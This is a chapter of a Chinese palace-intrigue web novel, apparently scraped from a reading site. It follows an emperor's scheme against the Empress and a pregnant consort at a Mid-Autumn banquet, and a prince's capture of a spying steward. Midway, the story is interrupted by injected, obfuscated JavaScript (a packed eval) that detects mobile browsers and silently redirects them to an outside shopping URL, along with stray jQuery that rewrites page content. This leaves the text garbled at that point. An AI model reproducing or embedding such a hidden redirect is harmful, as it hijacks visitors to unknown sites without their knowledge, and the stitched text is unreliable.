有了萧母的同意,萧问瑢完全奈何不了,但他也没时间再管了,因为他和萧临渊的计划提前了。
现在朝中因为宰相势力的回归,众多官员早就开始有意无意的往他的阵营里靠,朝中迅速分为两股势力,当年的势头依稀也有回来的趋势。
皇后和琪妃这段时间倒是安静得很,兴许是知道温镜辞被禁足,娘家也饱受牵连的原因。
也或许是想要好好养胎,又或者是找不到可以栽赃嫁祸的人,正在疯狂思考方法。
中秋晚宴迫在眉睫,淑贵妃整日因为宴会的事情往养心殿里跑,不是问菜就是问座位。
接连反复了好几次,这几天萧临渊觉得自己都搞清楚了这件事情到底该怎么办了。
“淑贵妃要是觉得自己无法胜任中秋晚宴的话,朕可以找人接替你。”
萧临渊说这话的时候,淑贵妃正将手中的名单凑到萧临渊面前,想请他给出来一个解决方法。
这个名单萧临渊已经接连见过了好几次,给了无数次意见,但对方还是反复的问。
萧临渊说完,淑贵妃拿着名单的动作顿了顿,只得悻悻收回。
“皇上赎罪,臣妾是觉得既然琪妃和皇后娘娘同时有喜,那饮食方面必要更精确一下,要是端上来的饭菜不合口味,那可就是臣妾的失职。”
萧临渊偏头看了眼淑贵妃,没再继续往下说。
“那就让御膳房的人自己去做,这么多年总不至于做不出一道适宜有孕之人所食用的菜。”
“是。”
淑贵妃应声答应,但没从地上起来,显然是还有话说。
“前些日子温常在因故被禁足,但臣妾觉得中秋讲究的是团团圆圆,昭宁和可汗都千里迢迢的赶回来,不如就消了温常在的禁足,让她也跟大家一同过节。”
萧临渊批阅奏折的动作一顿,毫不犹豫的拒绝。
“既犯了错,自当禁足反思,若是只为了团圆便将人放出来,岂不对他人不公。”
“是,臣妾明白。”
接触禁闭的事情被萧临渊糊弄了过去,淑贵妃简单的问了些其他的问题,便带着人离开了。
兴许是萧临渊的话起了反应,从那之后淑贵妃来养心殿的次数骤减。
午后,萧问瑢应召入宫去见了萧临渊,萧临渊将淑贵妃的事情跟他说了一遍,这样一说萧问瑢正好想起来一件事。
“臣最近觉得府中管事似乎有些蹊跷,根据旁人传达的情况,这人最近经常鬼鬼祟祟的,似乎正在偷偷干些什么事情,但目前还在调查过程中。”
一说到这个萧临渊突然想起来在两人最开始联手调查帐房先生的时候,就怀疑过萧问瑢那边可能有眼线。
只是后来即时把消息直接传递给了萧问瑢,可计划也还是失败了,于是眼线的事情也就这样不了了之了。
现在重新被翻出来,倒是可以印证一些事情。
“你那边继续调查,有什么情况即时告诉我。你有让人保护她吗?”
萧临渊口中的她是谁,萧问瑢早已经不需要再问,只是点头。
“有,很多,放心吧。”
萧临渊满意点头:“行。”
瞧着萧临渊在听到有人保护之后骤然放松的神情,他都不知道该说些什么好了。
这俩人,一个在家里折磨他,一个在朝中折磨他,他们两个在折磨他这条路上简直绝配!
他就是个免费的传声筒,免费的保镖,免费的管事和免费的下人。
“这件事情我想尽快解决。”
萧临渊没给萧问瑢太长的思考时间,便直截了当的说出了自己的想法。
“皇上的计划是?”
“琪妃那边朕暂时没找到错处能够扳倒她,虽然孩子确实是错误之一,但是现下孩子还没生出来,没办法判定这不是朕的,只能暂时搁置。皇后那边我们所掌握的证据不多,且不能一下子扳倒她,所以还缺一剂猛料。朕计划让皇后去对付琪妃,一箭双雕。”
“淑贵妃与琪妃一向交好,按照淑贵妃的性子来讲,琪妃有喜她必定坐不住,但眼下毫无事情发生,依旧像往日一般交好,这便是问题所在,朕怀疑琪妃肚子里的孩子,也有淑贵妃的手笔,只是苦于没有证据无法行事。”
“这件事情就交给朕去做,你回去之后查一下你府中的李管事,看一下他到底是谁的人,必要时候,你知道该怎么做。”
萧问瑢挑眉点头:“是,抓的那批人,皇上审出来接过了吗?”
“朝廷的大牢,那么多的刑具,你以为呢?毕竟自己的人被抓了,总会因为担心自己被供出来而露出破绽,我们要做的就是拿证据。”
“明白。”
中秋晚宴当天的气氛要比以往更加热闹一些,毕竟今年多了两个怀有身孕的妃子,总归是要更高兴一些的。
“今年的中秋节倒是与以往略有不同,这也要多亏了琪妃和皇后,能为皇室开枝散叶,实属难得,今日不醉不归,都不准跑啊。”
萧临渊端着酒杯笑着冲下方的萧问瑢以及可汗举了举酒杯,脸上洋溢着以往都不曾见过的笑容。
“皇上,臣妾能不能求一碗酸梅汤。”琪妃说这话的时候,手还放在肚子上不停的抚摸着,瞧见萧临渊看过来,又立马解释。
“臣妾近期食欲不佳,想必是怀孕的原因,这两天酷爱喜吃酸食。臣妾不想坏了大家的兴致,就想讨一碗酸梅汤缓解一下。”
萧临渊哪里听不懂琪妃的画外音,真是瞌睡遇到枕头。
他随即笑着招呼王德才,让他立马就去办。
“快去快去,吩咐下去用最好的食材。”
琪妃立马高兴了:“多谢皇上。”
“现在你肚子里的孩子才是最大的,想吃什么尽管吩咐御膳房让他们去做。”
昭宁端着酒杯凑到可汗的身边,凑过去小声的嘀咕,眼睛却还一直看着萧临渊的方向。
“你有没有觉得皇兄有些不对劲?”
可汗一怔,偏头看去,却只是看见了萧临渊笑着的脸,以及异常高兴的一系列反应,他犹豫着说。
“没有吧。”
昭宁不耐的撞了撞对方的手臂:“皇兄什么时候笑得这么开心了?他哪里有这么大的表情反应了?我长这么大以来,见过的次数寥寥无几。”
“好不容易有了自己的孩子,高兴也正常吧。”
昭宁没管可汗的意见。
“反正我觉得就是不对劲,我的直觉,你不懂。”
可汗挠了挠头,往昭宁的碗里夹了个菜。
王德才很快就带着酸梅汤回来了,直到做完这一切萧临渊才想起来还有个皇后,他立马转头问。
“皇后要不要来一碗?”
皇后笑着摇头:“臣妾就不用了。”
“看来皇后的这一胎着实好养,那就命人着重看护着琪妃,要是有什么磕着碰着的,唯你们是问。”
话音刚落,许多人的脸色都变了,琪妃身后跟着的贴身宫女立马跪下接旨。
这场宴会下来琪妃倒是从头笑到尾,其他人的脸色都不太好看,接下来会发生什么事情就不归他管了,他只需要等待验收成果。
萧问瑢回去之后,就把当天晚上发生的事情添油加醋的全部都说了一遍,一群人围在一起边吃边聊八卦,夜深了也迟迟不回去睡觉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733522|206026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“那皇后不得气死了?”
“对啊,你是没见她的脸色,从头到尾都难看的很。”
温镜辞攥了把瓜子边吃边问:“那你觉得她会动手吗?”
“当然会。”萧问瑢十分肯定的点头,“万一琪妃生的是儿子,那太子的位置就不止是她孩子自己的了。无论怎么样,她是一定要动手的。”
“幸亏我提前离开了,要不然谋害皇嗣的罪名指不定也有我的一份。”
这个时候温镜辞缓过神来,这场战役幸亏她提前退了出来,要不然按照话本子当中的发展,她也一定会被沾染上。
她跟萧临渊的关系估摸着宫里很多人都已经知道了,等的就是一个合理的机会除掉她。
现在明面上她被禁足,私底下她出了宫,只要禁足不被解除,再怎么说也不会扯到她身上。
“聪明!”
“你们那边调查的怎么样了?进展到哪儿了?”
萧问瑢偏头看向窗外,抬手制止她的问话,温镜辞没懂萧问瑢的意思,也顺着对方的视线看向窗外,没看出来到底有什么问题。
正当她要出声询问时,门外突然传来几声响声,伴随着急促的脚步声,片刻后房门被敲响。
“主子,人抓到了。”
萧问瑢看向温镜辞稍显迷茫的脸,微微一笑:“好戏开始了。”
萧问瑢说完站起身走过去看了门,温镜辞也跟过去,自然是看到了暗卫手里正抓着的那个人。
“李管事?”
李管事被几个暗卫禁锢着手,站在原地挣扎了半天完全动不了。
“王爷,冤枉啊。”
萧问瑢靠在门上,手中的折扇漫不经心的在手心里敲了敲,哒哒哒清脆的声音在几人中间响起。
“本王可没定你的罪,你喊什么喊?”
李管事一梗,知道自己慌乱之中说错了话,连忙转话题藏过去。
“我是来找王爷有事儿的,但是他们无缘无故的抓了我,王爷,您可一定要为我做主啊。”
“有事儿?”萧问瑢问,“什么事儿?”
“府外送来了饭菜,应当是给温小姐的。”
“今天早上没送吗?”
萧问瑢说完李管事又不吭声了。
“今天早上送过一次的东西,有必要再过来跟我说一遍吗?况且,这里是后院,是温小姐的房间,你又怎么知道我在这里?不去做自己的事情,来管我做什么?”
“我…我…我也是听其他人说的,才知道王爷在后院,只是送来的东西众多,一时不知道该放在哪儿。”
萧问瑢没有跟他争执这些不相关的东西,只问了暗卫。
“老夫人在哪儿?”
“在前院种花。”
管事自然也听到了暗卫的话,迅速便明白了萧问瑢话里的意思,从门口往里走是一定会经过前院。
不去找离得最近的萧母,偏偏要到后院去找萧问瑢,这一系列的举动都不正常。
“你现在到底是皇后的人还是淑贵妃的人还需要仔细定夺,把他关大牢里去,看好了可别让他跑了。”
“是,主子。”
李管事挣扎着想跟萧问瑢说些什么,被暗卫眼疾手快的捂了嘴,迅速拖了下去。
“李管事跟皇后和淑贵妃都有关系?”温镜辞问。
萧问瑢‘嗯’了一声:“我们的人调查到,查贪官的时候还是皇后的人,这也是为什么宰相会逃脱掉的原因,只是后来不知道怎么就被淑贵妃策反了,现在应该算是两面派。”
“那…岂不是我在你这儿的事情,她们早就知道了?”
“当然了。”